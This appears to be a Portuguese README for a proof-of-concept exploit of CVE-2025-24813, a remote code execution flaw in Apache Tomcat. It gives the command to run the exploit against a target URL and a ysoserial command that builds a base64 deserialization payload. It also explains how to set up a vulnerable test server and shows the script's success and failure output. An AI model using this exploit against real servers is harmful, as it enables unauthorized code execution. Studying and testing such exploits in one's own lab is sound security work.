
CVE-2025-24813 Apache Tomcat RCE Prova de Conceito (PoC)
PoC para CVE-2025-24813, uma vulnerabilidade de Execução Remota de Código (RCE) no Apache Tomcat.
Importante: Este PoC destina-se exclusivamente a testes em seus próprios ambientes ou para fins educacionais. Qualquer uso deste PoC para explorar sistemas sem a devida autorização é proibido e pode ser ilegal. Os criadores e distribuidores deste PoC não são responsáveis por qualquer uso indevido ou dano causado. Sempre obtenha permissão explícita antes de testar qualquer ambiente que não seja de sua propriedade.
python3 CVE-2025-24813.py --url <target_url>
O código já contém um payload codificado em base64 gerado com ysoserial (https://github.com/frohoff/ysoserial) que cria um arquivo RCE-success em /tmp da seguinte forma:
java -jar ysoserial-all.jar CommonsBeanutils1 "touch /tmp/RCE-success" | base64 -w 0
Habilitar acesso PUT / escrita
Edite $CATALINA_HOME/conf/web.xml para adicionar um parâmetro readonly na seção do servlet default e defina-o como false.
<servlet>
<servlet-name>default</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>listings</param-name>
<param-value>false</param-value>
</init-param>
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
Habilitar persistência de sessão
$CATALINA_HOME/conf/context.xml e adicione a seguinte configuração. <Manager className="org.apache.catalina.session.PersistentManager">
<Store className="org.apache.catalina.session.FileStore" />
</Manager>
cd $CATALINA_HOME/lib/
wget https[:]//repo1.maven[.]org/maven2/commons-collections/commons-collections/3.2.1/commons-collections-3.2.1.jar
wget https[:]//repo1.maven[.]org/maven2/commons-beanutils/commons-beanutils/1.9.2/commons-beanutils-1.9.2.jar
wget https[:]//repo1.maven[.]org/maven2/commons-logging/commons-logging/1.2/commons-logging-1.2.jar
[+] Exploit provavelmente bem-sucedido
[-] Exploit falhou com código de status: {status_code}, em vez de 500,409
$CATALINA_HOME/webapps/ROOT/index.jsp e certifique-se de que a configuração padrão para sessão não seja "false" ou simplesmente remova-a. <%@ page session="true" pageEncoding="UTF-8" contentType="text/html; charset=UTF-8" %>
OU
<%@ page pageEncoding="UTF-8" contentType="text/html; charset=UTF-8" %>
Baixe as dependências para $CATALINA_HOME/lib/